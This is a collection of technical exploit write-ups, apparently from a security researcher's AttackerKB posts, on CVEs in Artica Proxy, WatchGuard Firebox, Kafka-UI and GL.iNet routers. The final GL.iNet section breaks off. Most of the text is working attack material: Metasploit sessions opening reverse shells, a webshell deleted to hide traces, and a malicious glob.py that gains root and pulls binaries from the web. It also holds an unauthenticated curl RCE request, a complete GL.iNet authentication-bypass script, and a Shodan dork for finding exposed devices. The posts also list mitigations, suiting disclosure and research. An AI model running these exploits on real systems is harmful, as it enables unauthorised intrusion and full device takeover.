, untrusted data, such as data received from an external source, is deserialized without proper validation. This can allow an attacker to inject malicious data into the system, potentially leading to security vulnerabilities such as remote code execution, unauthorized access to sensitive data, or other malicious actions (see also MITRE CWE-502: Deserialization of Untrusted Data or OWASP CWE-502: Deserialization of Untrusted Data).
And this vulnerability is one of the many that we see nowadays. Korelogic discovered a DUD
in Artica Proxy 4.50
and 4.40
in wiz.wizard.progress.php
where prior to authentication, a user can send an HTTP request to the /wizard/wiz.wizard.progress.php
endpoint. This endpoint processes the build-js
query parameter by base64 decoding the provided value without checking the data and then calling the unserialize
PHP function with the decoded value as input. More technical details can be found in the Korelogic Advisory KL-001-2024-002.
I have created a Metasploit module that will exploit this vulnerability. I did make some enhancements compared to the POC that Korelogic published. For instance, I am not overwriting the file /usr/share/artica-postfix/wizard/wiz.upload.php
but creating a randomized PHP file to trigger the remote code execution which is removed automatically after successful exploitation to cover our tracks.
Module Details
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > info Name: Artica Proxy Unauthenticated PHP Deserialization Vulnerability Module: exploit/linux/http/artica_proxy_unauth_rce_cve_2024_2054 Platform: PHP, Unix, Linux Arch: php, cmd, x64, x86 Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2024-03-05 Provided by: h00die-gr3y <h00die.gr3y@gmail.com> Jaggar Henry of KoreLogic Inc. Module side effects: ioc-in-logs artifacts-on-disk Module stability: crash-safe Module reliability: repeatable-session Available targets: Id Name -- ---- => 0 PHP 1 Unix Command 2 Linux Dropper Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba sics/using-metasploit.html RPORT 9000 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes The Artica Proxy endpoint URL URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host WEBSHELL no Set webshell name without extension. Name will be randomly generated if left un set. When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on t he local machine or 0.0.0.0 to listen on all addresses. SRVPORT 1981 yes The local port to listen on. When TARGET is not 0: Name Current Setting Required Description ---- --------------- -------- ----------- COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) Payload information: Description: A Command Injection vulnerability in Artica Proxy appliance 4.50 and below allows remote attackers to run arbitrary commands via unauthenticated HTTP request. The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the "www-data" user. References: https://nvd.nist.gov/vuln/detail/CVE-2024-2054 https://attackerkb.com/topics/q1JUcEJjXZ/cve-2024-2054 https://packetstormsecurity.com/files/177482 View the full module info with the info -d command.
Target 0 – PHP native php/meterpreter/reverse_tcp
session
msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set webshell cuckoo webshell => cuckoo msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set target 0 target => 0 msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set rhosts 192.168.201.4 rhosts => 192.168.201.4 msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > set lhost 192.168.201.8 lhost => 192.168.201.8 msf6 exploit(linux/http/artica_proxy_unauth_rce_cve_2024_2054) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.201.4:9000 can be exploited. [+] The target is vulnerable. Artica version: 4.50 [*] Executing PHP for php/meterpreter/reverse_tcp [*] Sending stage (39927 bytes) to 192.168.201.4 [+] Deleted /usr/share/artica-postfix/wizard/cuckoo.php [*] Meterpreter session 15 opened (192.168.201.8:4444 -> 192.168.201.4:33986) at 2024-03-15 17:46:04 +0000 meterpreter > sysinfo Computer : artica-applianc OS : Linux artica-applianc 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64 Meterpreter : php/linux meterpreter > getuid Server username: www-data meterpreter >
Mitigation
If you want to test the module, you can download a vulnerable Artica Proxy appliance from here. You are strongly advised to upgrade your appliance to the latest version, but at least to a version greater then 4.50
. Another quick fix is to remove the /usr/share/artica-postfix/wizard
directory if it is not needed.
References
CVE-2024-2054
Korelogic Advisory KL-001-2024-002
MITRE CWE-502: Deserialization of Untrusted Data
OWASP CWE-502: Deserialization of Untrusted Data
Artica Proxy Appliance ISO Downloads
Metasploit PR 18967: Artica Proxy unauthenticated RCE
Credits
Credits goes to the security researcher below who discovered this vulnerability
Jaggar Henry of KoreLogic Inc.
Technical Analysis
This journey starts when you have gained initial access to the WatchGuard FireBox firewall instance as described in this attackerkb article.
The initial access is non privileged as user nobody
and /etc/fstab
shows that all filesystems are either protected with read-only
, no-suid
or no-exec
. Another interesting aspect is that there is no shell installed at all and the available unix binaries are very limited as well as busybox
which only provides a very limited command set. This makes living off the land
pretty useless except for the nmap
binary which is installed by default.
Shell Banner: Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 ----- >>> import os >>> os.getuid() 99 >>> os.getgid() 96 >>> import subprocess >>> print(open("/etc/fstab").read()) /dev/wgrd.sysa_code / ext2 ro,noatime 1 1 /dev/wgrd.sysa_data /etc/wg ext3 rw,noexec,noatime 0 0 none /proc proc defaults 0 0 none /sys sysfs defaults 0 0 /dev/wgrd.boot /boot ext2 ro,noexec,noatime 0 0 /dev/wgrd.pending /pending ext2 rw,noexec,noatime 0 0 /dev/wgrd.var /var ext2 rw,noexec,noatime 0 0 # wg_linux platform.pkgspec >>> subprocess.call(["nmap", "127.0.0.1"]) Starting Nmap 7.70 ( https://nmap.org ) at 2024-03-08 19:55 CET Nmap scan report for localhost.localdomain (127.0.0.1) Host is up (0.0014s latency). Not shown: 990 closed ports PORT STATE SERVICE 80/tcp open http 4125/tcp open rww 4126/tcp open ddrepl 5000/tcp open upnp 5001/tcp open commplex-link 5002/tcp open rfe 5003/tcp open filemaker 5004/tcp open avt-profile-1 6001/tcp open X11:1 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds 0 >>>
So the big question, how do we get privileged access?
Luckily, the appliance has python
installed and this heavily used by a lot of specific binaries for WatchGuard. One of those binaries is the /usr/bin/fault_rep
program, that generates a crash report whenever a program crashes. And it has the setuid
bit set on user root.
>>> subprocess.call(["ls", "-l", "/usr/bin/fault_rep"]) -rwsr-xr-x 1 root admin 31424 Sep 28 2021 /usr/bin/fault_rep 0 >>>
Having a closer look at the binary, it internally calls /usr/bin/diag_snapgen
, a python program. Here are lines of the program:
>>> print(open("/usr/bin/diag_snapgen").read()) #!/usr/bin/python # # Diagnostic Snapshot Generator # # This script runs when a fault triggers through the Fault Reporting System. # import subprocess import glob # # These files will have their contents copied into the diagnostic snapshot # file. Add (or subtract!) from this list at will. # FILES = [ '/etc/wg/bootlog', '/var/log/*.log', '/var/log/trace/*.log', '/proc/interrupts', '/proc/meminfo' ] # # These programs will have their output copied into the diagnostic snapshot # file. Add (or subtract!) from this list at will. # PROGRAMS = [ '/bin/ps', '/bin/ls -l /tmp', '/bin/df', '/bin/dmesg' ] # # Diagnostic Snapshot Generation # for i, path in enumerate(FILES): for j, name in enumerate(glob.glob(path)): print "=== %s ===" % (name) try: f = open(name) for line in f: print line, f.close() except: print "(Unable to open file!)" print for i, name in enumerate(PROGRAMS): print "=== %s ===" % (name) try: name = name.split() p = subprocess.Popen(name, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() if p.returncode: raise(Exception(err)) print out except: print "(Unable to run command!)" print >>>
This is pretty promising because glob.py
, which is imported, can be easily exchanged by a malicious program with the same name. This will run under root context.
So let’s think this thru…
- We create a malicious
glob.py
where we can run python code under the context of root.
- This python code should remount a filesystem with
exec
andread-write
rights.
- A good candidate is the
/dev/wgrd.pending
filesystem.
- We can download a static linked
bash
andbusybox
x86-64 binary from the web.
- Change the ownership to
root.admin
and set thesuid
andsgid
bit on both binaries.
- We should now be able to spin off a root shell that gives us full control on the appliance.
This sounds like a plan…
Here is malicious glob.py
code.
import subprocess, os, requests, ctypes # set root os.setuid(0) os.setgid(0) # remount /pending directory to enable suid and execution def mount(source, target, fs, options='', flags=0): ret = ctypes.CDLL('libc.so.6', use_errno=True).mount(source, target, fs, flags, options) if ret < 0: errno = ctypes.get_errno() raise RuntimeError("Error mounting {} ({}) on {} with options '{}': {}".format(source, fs, target, options, os.strerror(errno))) # 32 -- MS_REMOUNT flag mount('/dev/wgrd.pending', '/pending', 'ext2', 0, 32) # get the bash static x86_64 binary response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/bash", verify=False) with open("/pending/tmp/bash", mode="wb") as file: file.write(response.content) # get busybox static x86_64 binary response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/busybox", verify=False) with open("/pending/tmp/busybox", mode="wb") as file: file.write(response.content) # setuid and sgid bit and make world executable. Bingo, you are root now! os.chown("/pending/tmp/bash", 0, 0) os.chmod("/pending/tmp/bash", 0o6755) os.chown("/pending/tmp/busybox", 0, 0) os.chmod("/pending/tmp/busybox", 0o6755) exit()
Ok, let’s test this…
We will first upload our malicious glob.py
to /tmp
which is by default read-write, however we can not run any binaries in /tmp
except for python scripts. But that is anyhow all we need…
To ensure that our malicious glob.py
gets imported, we need to change the PYTHONPATH
to /tmp
or .
.
We than call our root suid
program /usr/bin/fault_rep
and our malicious glob.py
should do the magic.
>>> import requests >>> response = requests.get("http://192.168.201.8:1980/glob.py") >>> with open("/tmp/glob.py", mode="w") as file: ... file.write(response.content) ... >>> subprocess.call(["ls", "-l", "/tmp/glob.py"]) -rw-r--r-- 1 nobody wg 1364 Mar 8 17:03 /tmp/glob.py 0 >>>
Ok, we have successfully downloaded glob.py
. Please ensure that you have a http
server running on your attacker machine.
Next step is to set the PYTHONPATH
and run /usr/bin/fault_rep
.
>>> myenv = os.environ.copy() >>> myenv['PYTHONPATH'] = '.' >>> print(myenv) {'PYTHONPATH': '.'} >>> subprocess.check_call(["/usr/bin/fault_rep", "-r", "'a'", "-c1", "-v"], env=myenv) generating fault [01/unspecified] (Failed Assertion)... 0 >>>
Let’s check if the binaries are downloaded in /pending/tmp
directory and owned by root.admin
with suid
and sgid
bit set.
>>> subprocess.call(["ls", "-l", "/pending/tmp"]) -rwsr-sr-x 1 root admin 2772944 Mar 8 17:14 bash -rwsr-sr-x 1 root admin 1894248 Mar 8 17:14 busybox srw-r----- 1 nobody nobody 0 Mar 7 22:38 cgi -rw-r--r-- 1 root admin 0 Mar 8 16:37 configd.log srw-rw-rw- 1 nobody wg 0 Mar 7 22:38 epm srw-rw-rw- 1 root admin 0 Mar 7 22:38 geolocation -rw-r--r-- 1 nobody wg 1364 Mar 8 17:00 glob.py prw------- 1 nobody wg 0 Mar 7 22:38 radiusd prw------- 1 nobody wg 0 Mar 7 22:38 rsso-auth srwxr-xr-x 1 nobody admin 0 Mar 7 22:38 webui srw-rw-rw- 1 nobody wg 0 Mar 8 16:00 wgagent 0 >>>
Cool, the trick worked!
Let’s get our bash
root shell…
>>> subprocess.call(["/pending/tmp/bash", "-i"]) bash: cannot set terminal process group (11397): Not a tty bash: no job control in this shell bash-5.2$ /pending/tmp/busybox id /pending/tmp/busybox id uid=99(nobody) gid=96(wg) bash-5.2$
Mmm, that’s strange. Looks that suid
is not working.
Ahh, this rings a bell. Set suid
bit on a bash
shell does not work out of the box. There is -p
option that overrides this behavior.
bash-5.2# >>> subprocess.call(["/pending/tmp/bash", "-i", "-p"]) bash: cannot set terminal process group (11397): Not a tty bash: no job control in this shell bash-5.2# /pending/tmp/busybox id /pending/tmp/busybox id uid=99(nobody) gid=96(wg)
We got a root prompt, but we are still not there with full root access.
Let’s start a python session in this shell and set the suid
and sgid
once more and launch the bash
shell again.
bash-5.2# python -i python -i Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.setuid(0) >>> os.setgid(0) >>> import subprocess >>> subprocess.call(["/pending/tmp/bash", "-i"]) bash: cannot set terminal process group (12299): Not a tty bash: no job control in this shell bash-5.2# /pending/tmp/busybox id /pending/tmp/busybox id uid=0(root) gid=0(admin) bash-5.2#
Here we go!
We have full root access now.
References
CVE-2022-31791
Blind exploits to rule WatchGuard firewalls by Charles Fol
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download
Credits
Credits goes to Charles Fol
of Ambionics Security who discovered this vulnerability.
Technical Analysis
Almost two years ago (28 march 2022) jbaines
published some initial analysis on this vulnerability, still questioning what exactly the modus operandus is to exploit this vulnerability. On the 29th of august 2022, Charles Fol
from Ambionics Security published a blog where in much detail several vulnerabilities are explained including this one. A similar analysis was done by Dylan Pindur
, security researcher from AssetNote which reverse engineered this CVE in more detail (find his blog here).
The most interesting part for me is the fact that the WatchGuard XTM appliance is pretty well protected and hardened. For instance, there is no unix shell installed on the virtual appliance and all filesystems are protected either with read-only
or no-exec
, no-suid
options which make it pretty hard to get privileged access. The only shell access is a old python version (2.7.14) that is installed and available for exploitation.
I will not deep dive the buffer overflow (BOF) vulnerability here because it is pretty well explained in both blogs that I mentioned above.
I created a Metasploit module that you can find here as PR 18915 which will use the BOF to get a python interactive console.
The real fun starts when you have python interactive console access and try to elevate your rights to get root
on the box. You can do this by exploiting another vulnerability CVE-2022-31791.
You can read this more detail in my technical analysis here.
Module in action
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas ploit.html RPORT 8080 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes WatchGuard Firebox base url VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_python): Name Current Setting Required Description ---- --------------- -------- ----------- CreateSession true no Create a new session for every successful login LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port SHELL /usr/bin/python yes The system shell to use Exploit target: Id Name -- ---- 0 Automatic (Reverse Python Interactive Shell) View the full module info with the info, or info -d command.
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24 rhosts => 192.168.201.24 msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8 lhost => 192.168.201.8 msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.201.24:8080 can be exploited. [+] The target appears to be vulnerable. [*] 192.168.201.24:8080 - Attempting to exploit... [*] 192.168.201.24:8080 - Sending payload... [*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.24:40354) at 2024-03-03 19:50:17 +0000 Shell Banner: Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 ----- >>> import os >>> import subprocess >>> os.listdir("./") ['debug', 'platform', 'log', 'wgapi', 'hosts', 'mdev.seq', 'admd.rsync', 'portald', 'portald_data', 'eth0mac', 'rs_sn', '.libtdts_ctrl.lck', 'fw', 'mwan.input', 'wgmsg', 'nwd_dfltmac', 'fqdn_dns_server_list', 'lm.conf', 'sw.conf', 'wcfqdn_label', 'ifmd.cfg.lock', 'wgif_dhcp_eth0.pid', 'wgif_dhcp_eth0_uds', 'wgif_eth1.cfg.lock', 'wgif_eth1.cfg', 'rootca', 'haopevent.log', 'keeper_init_uds', 'sslvpn', 'empty', 'certs.rsync', 'certs.unpack', 'csync', 'ldapsCA', 'iked.semid', 'system_hash.txt', 'iked.params', 'iked.pid', 'cdiag', 'lockout_users.xml', 'dxcpd', 'wgredir.txt', 'dimension', 'affinityd.err', 'wgif_eth0.cfg.lock', 'wgif_eth0.cfg', 'dhcp6d.conf', '6OGD.py', 'ifmd.cfg', 'dhcpd.conf', 'dnsmasq-internal.conf', 'radvd.conf', 'yDnm.py', 'HPM4.py'] >>> >>> os.getuid() 99 >>> os.getgid() 96 >>> print(open("/etc/passwd").read()) root:!$6$XlAENt8.$3RgXuDXBhgsf0FqJ0hrzmrh6qAhvMlCkU6Z976KIDI27gxIZOI0f27lkyJwubRxW5VaO4i9olIybS0Z2R9Ihw1:0:0:Administrator:/root:/bin/ash bin:x:1:1:bin:/bin: system:x:2:96:WG System daemons:/: nobody:x:99:99:Nobody:/: wgntp:x:98:98:OpenNTP daemon:/var/run/ntpd: openvpn:x:97:97:OpenVPN daemon:/: www:x:96:95:WebUI:/: cli:x:95:95:CLI:/: cfm:x:94:94:CFM:/var/cfm_sandbox: agent:x:93:96:WG Agent:/: scand:x:91:94:Scanning Daemon:/var/run/scand: spamd:x:90:94:Spam Daemon:/var/cfm_sandbox: sshd:x:89:89:sshd privilege separation:/var/empty: quagga:x:88:88:Quagga Dynamic Routing:/var/run/quagga: wgcha:x:92:96:WG Call Home Agent:/var/run/wgcha: netdbg:x:87:87:Diagnostic Utilities:/tmp/netdbg: cwagent:x:100:100:ConnectWise Agent:/var/empty: dimension:x:101:101:Dimension Service:/var/run/dimension: tss:x:102:102:trousers daemon:/: atagent:x:103:103:Autotask Agent:/var/empty: psad:x:104:104:PSA Daemon:/var/empty: guac:x:105:105:Guacamole Daemons:/var/run/guac: portald:x:106:105:Portald:/var/run/portald: admin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli wgadmin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli dnswatchd:x:110:96:DNSWatch Service Daemon:/var/empty: tpagent:x:111:96:Tigerpaw Agent:/var/empty: >>> print(open("/etc/group").read()) admin:x:0:0 bin:x:1:admin,bin nobody:x:99: wgntp:x:98: openvpn:x:97: wg:x:96: ui:x:95: proxy:x:94: sshd:x:89: quagga:x:88: netdbg:x:87: cwagent:x:100: dimension:x:101: tss:x:102: atagent:x:103: psad:x:104: ctlvpn:x:105: dnswatchd:x:107: >>> os.uname() ('Linux', 'FireboxV', '4.14.83', '#1 SMP Mon Sep 27 17:48:07 PDT 2021', 'x86_64') >>>
References
CVE-2022-26318
Blind exploits to rule WatchGuard firewalls by Charles Fol
Diving Deeper into WatchGuard Pre-Auth RCE – CVE-2022-26318
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download
Credits
Credits goes to Charles Fol
of Ambionics Security who discovered this vulnerability.
The reverse engineering of this CVE was performed by Dylan Pindur
from AssetNote.
Technical Analysis
Kafka UI is a nice web front-end that provides a fast and lightweight web UI for managing Apache Kafka® clusters developed by provectus.
Unfortunately there is a Remote Code Execution vulnerability at the latest version 0.7.1
that was discovered and disclosed on Sep 27, 2023 to provectus, but not yet patched.
The vulnerability can be exploited via the q
parameter at /api/clusters/local/topics/{topic}/messages
endpoint which allows the use to define a Groovy
script filter. There is no sanitation of the groovy script filter before it is executed. This allows an attacker to execute arbitrary code on the server.
The vulnerable code can be found in the function groovyScriptFilter:
static Predicate<TopicMessageDTO> groovyScriptFilter(String script) { var engine = getGroovyEngine(); var compiledScript = compileScript(engine, script); var jsonSlurper = new JsonSlurper(); return new Predicate<TopicMessageDTO>() { @SneakyThrows @Override public boolean test(TopicMessageDTO msg) { var bindings = engine.createBindings(); bindings.put("partition", msg.getPartition()); bindings.put("offset", msg.getOffset()); bindings.put("timestampMs", msg.getTimestamp().toInstant().toEpochMilli()); bindings.put("keyAsText", msg.getKey()); bindings.put("valueAsText", msg.getContent()); bindings.put("headers", msg.getHeaders()); bindings.put("key", parseToJsonOrReturnAsIs(jsonSlurper, msg.getKey())); bindings.put("value", parseToJsonOrReturnAsIs(jsonSlurper, msg.getContent())); var result = compiledScript.eval(bindings); <==== vulnerable code if (result instanceof Boolean) { return (Boolean) result; } else { throw new ValidationException( "Unexpected script result: %s, Boolean should be returned instead".formatted(result)); } } }; }
The exploit is pretty simple to execute by the request below:
We are using a Groovy OS execution code snippet "touch /tmp/cuckoo".execute();
to test the vulnerability.
You need an active Kafka cluster, in this case our cluster is named local
and a topic (cuckoo
) which you can create if there are no topics.
curl 'http://192.168.201.25:8080/api/clusters/local/topics/cuckoo/messages?q=%22touch%20%2Ftmp%2Fcuckoo%22.execute()&filterQueryType=GROOVY_SCRIPT&attempt=4&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING'
/tmp $ ls -l total 4 -rw-r--r-- 1 kafkaui kafkaui 0 Jan 24 16:26 cuckoo drwxr-xr-x 2 kafkaui kafkaui 4096 Jan 24 16:25 hsperfdata_kafkaui /tmp $
Pretty simple, right?
And without any authentication!!!
If you want to make a more complex system command, you should not use "my commandline".execute()
because it can not handle unix pipe |
, redirection >
and command chaining with ;
.
You better use some Groovy scripting along the lines like below:
"Process p=new ProcessBuilder(\"sh\",\"-c\",\"<my complex cmd_line>\").redirectErrorStream(true).start()"
If you want to play around with this vulnerability, just follow the steps below to install a vulnerable Kafka-ui instance with an active Kafka cluster.
Installation steps to install Kafka ui
- Install
Docker
on your preferred platform.
- Here are the installation instructions for Docker Desktop on MacOS.
- Create a empty directory (
kafka-ui
).
- Create the following
docker-compose.yaml
file in the directory. This will automatically create a Kafka cluster with Kafka-ui. You can modify thev0.7.0
in theyaml
file to pull different versions.
version: '2' networks: rmoff_kafka: name: rmoff_kafka services: zookeeper: image: confluentinc/cp-zookeeper:latest container_name: zookeeper networks: - rmoff_kafka environment: ZOOKEEPER_CLIENT_PORT: 2181 ZOOKEEPER_TICK_TIME: 2000 ports: - 22181:2181 kafka: image: confluentinc/cp-kafka:latest container_name: kafka networks: - rmoff_kafka depends_on: - zookeeper ports: - 29092:9092 environment: KAFKA_BROKER_ID: 1 KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181 KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092 KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1 kafka-ui: container_name: kafka-ui image: provectuslabs/kafka-ui:v0.7.0 networks: - rmoff_kafka ports: - 8080:8080 depends_on: - kafka - zookeeper environment: KAFKA_CLUSTERS_0_NAME: local KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092 KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181 KAFKA_BROKERCONNECT: kafka:9092 DYNAMIC_CONFIG_ENABLED: 'true' KAFKA_CLUSTERS_0_METRICS_PORT: 9997
- Run following command
docker-compose up -d
to install and run the Kafka ui and cluster environment.
- Your Kafka ui should be accessible on
http://localhost:8080
with an active Kafka cluster running.
- You can bring down the environment for a fresh start with the command
docker-compose down --volumes
.
You are now ready to test the vulnerability.
And as usual, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18700 at Metasploit Github development.
Mitigation
Kafka-ui versions between v0.4.0
– v0.7.1
are vulnerable and there is no fix.
There is no outlook yet when it will be fixed, so do not use a default installation which has no authentication enabled.
It is strongly advised to configure Kafka-ui with basic authentication.
References
CVE-2023-52251
Kafka-ui unauthenticated RCE – h00die-gr3y Metasploit local repository
Kafka-ui unauthenticated RCE – Metasploit PR 18700
POC
Kafka-ui Github development
Credits
Technical Analysis
There is not yet an official record of this CVE available at the time of writing, but this is a critical vulnerability that gives an attacker unauthenticated access to a GL.iNet network devices. The issue is the bypass of Nginx
authentication through a Lua
string pattern matching and SQL injection vulnerability. There is an excellent writeup From zero to botnet – GL.iNet going wild by DZONERZY
who discovered this vulnerability in October 2023.
I am not gonna repeat the whole article here, because you can read it for yourself, but I will quickly summarize the issue.
The flaw sits in the /usr/sbin/gl-ngx-session
, the actual Lua
handler for the authentication mechanism which is the standard for GL.iNet network devices.
Within the this code there is a loop through the /etc/shadow file
to authenticate a user where the username is used for the lookup using a regex
.
By manipulating the username with additional regex
statements, one can manipulate the lookup, so that it retrieves the uid
field instead of the password
field, hence using this for a valid root login will return a session id (SID
) to be used for authentication.
local function login_test(username, hash) if not username or username == "" then return false end for l in io.lines("/etc/shadow") do local pw = l:match('^' .. username .. ':([^:]+)') if pw then for nonce in pairs(nonces) do if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then nonces[nonce] = nil nonce_cnt = nonce_cnt - 1 return true end end return false end end
Regex injection happens inside the login_test function
; it tries to match everything from the first colon (the hashed password) until the next one.
root:$1$j9T2jD$5KGIS/2Ug.47GjW0jHOIB/2XwYUafYPh/X:19447:0:99999:7:::
With the following username: root:[^:]+:[^:]+
the regex in the code becomes ^root:[^:]+:[^:]+:([^:]+)
that shifts forward the matching group, thus making it return the uid
(which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash: md5(<user>:0:<nonce>) -> root:[^:]+:[^:]+:0:<nonce>
.
Additionally, some ACL’s are required that are stored in the SQLite
db. This lookup, which is coded in /usr/lib/lua/oui/db.lua
, is not successful because we manipulated the username.
M.get_acl_by_username = function(username) if username == "root" then return "root" end local db = sqlite3.open(DB) local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username) local aclgroup = "" for a in db:rows(sql) do aclgroup = a[1] end db:close() return aclgroup end
However, by a brilliant combination of the regex and sql injection, DZONERZY
was able to retrieve that information in one go with the username below.
roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+
Pretty cool !!!
But unfortunately quite bad for our users who bought a GL.iNet network device, because at the time of writing most of the devices that are exposed to Internet (shodan dork: title:"GL.iNet Admin Panel"
) are vulnerable for this authentication bypass.
Even worse, in combination of CVE-2023-50445 all vulnerable GL.iNet network can be exploited without any authentication required.
Please check out my attackerKB article for more info.
Below is a python script that checks if your device is vulnerable for CVE-2023-50919
.
#!/usr/bin/env python3 # Exploit Title: GL.iNet Authentication bypass # Shodan Dork: title:"GL.iNet Admin Panel" # Date: 30/12/2023 # Exploit Author: h00die-gr3y@gmail.com # Vendor Homepage: https://www.gli-inet.com # Software Link: https://dl.gl-inet.com/?model=ar300m16 # Firmware: openwrt-ar300m16-4.3.7-0913-1694589994.bin # Version: 4.3.7 # Tested on: GL.iNet AR300M16 # CVE: CVE-2023-50919 import json import requests import hashlib import time from random import randint from sys import stdout, argv requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080', } proxies = {} # no proxy def get_challenge(url): data = { 'jsonrpc': '2.0', 'id': randint(1000, 9999), 'method': 'challenge', 'params': {'username': 'root'} } try: res = requests.post(url, json=data, verify=False, proxies=proxies) res.raise_for_status() res_json = json.loads(res.content) if 'result' in res_json: return res_json['result']['nonce'] print('[-] Error: could not find nonce') return False except requests.exceptions.RequestException: print('[-] Error while retrieving challenge') return False def login(url, username, hash): data = { 'jsonrpc': '2.0', 'id': randint(1000, 9999), 'method': 'login', 'params': { 'username': '{}'.format(username), 'hash': '{}'.format(hash)} } try: res = requests.post(url, json=data, verify=False, proxies=proxies) res.raise_for_status() res_json = json.loads(res.content) if 'result' in res_json: return res_json['result']['sid'] print('[-] Error: could not find sid') return False except requests.exceptions.RequestException: print('[-] Error while retrieving sid') return False def main(url): print('[+] Started GL.iNet - Authentication Bypass exploit') username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+" pw = '0' print('[+] Get challenge and login') start = time.time() nonce = get_challenge(url+'/rpc') if nonce: print('[+] nonce: {}'.format(nonce)) hash_str = username+':'+pw+':'+nonce hash = hashlib.md5(hash_str.encode('utf-8')).hexdigest() print('[+] hash: {}'.format(hash)) sid = login(url+'/rpc', username, hash) print(f'[+] Time elapsed: {time.time() - start}') if sid: print('[+] sid: {}'.format(sid)) if __name__ == '__main__': if len(argv) < 2: print('Usage: {} <TARGET_URL>'.format(argv[0])) exit(1) main(argv[1])
# python ./auth-bypass.py http://192.168.8.1 [+] Started GL.iNet - Authentication Bypass exploit [+] Get challenge and login [+] nonce: 9B5p5lcK8V1rPu7tiwaKccPKkA8ijpwt [+] hash: 01f250624caab2acaf4feb290dd45d33 [+] Time elapsed: 2.650479793548584 [+] sid: rGZXQdxPkFzv1KwNaXTcWos6OLTnjU3e
Mitigation
The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A:
v4.0.0 < v4.5.0
- MT6000:
v4.5.0 - v4.5.3
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300:
v4.3.7
- E750/E750V2, MV1000:
v4.3.8
- X3000:
v4.0.0 - v4.4.2
- XE3000:
v4.0.0 - v4.4.3
- SFT1200:
v4.3.6
- and potentially others…
References
From zero to botnet: GL.iNet going wild by DZONERZY
CVE-2023-50445
AttackerKB article: CVE-2023-50445 by h00die-gr3y
GL.iNet home page
Credits
DZONERZY
Technical Analysis
This report describes the Shell Metacharacter Injection vulnerability recently discovered in GL.iNet products. The vulnerability exists in the get_system_log
and get_crash_log
functions of the logread
module, as well as the upgrade_online
function of the upgrade
module. It allows execution of malicious shell commands through externally provided parameters, thereby enabling control over the related products.
Attackers can manipulate routers by passing malicious shell commands through the API (v4).
get_system_log function
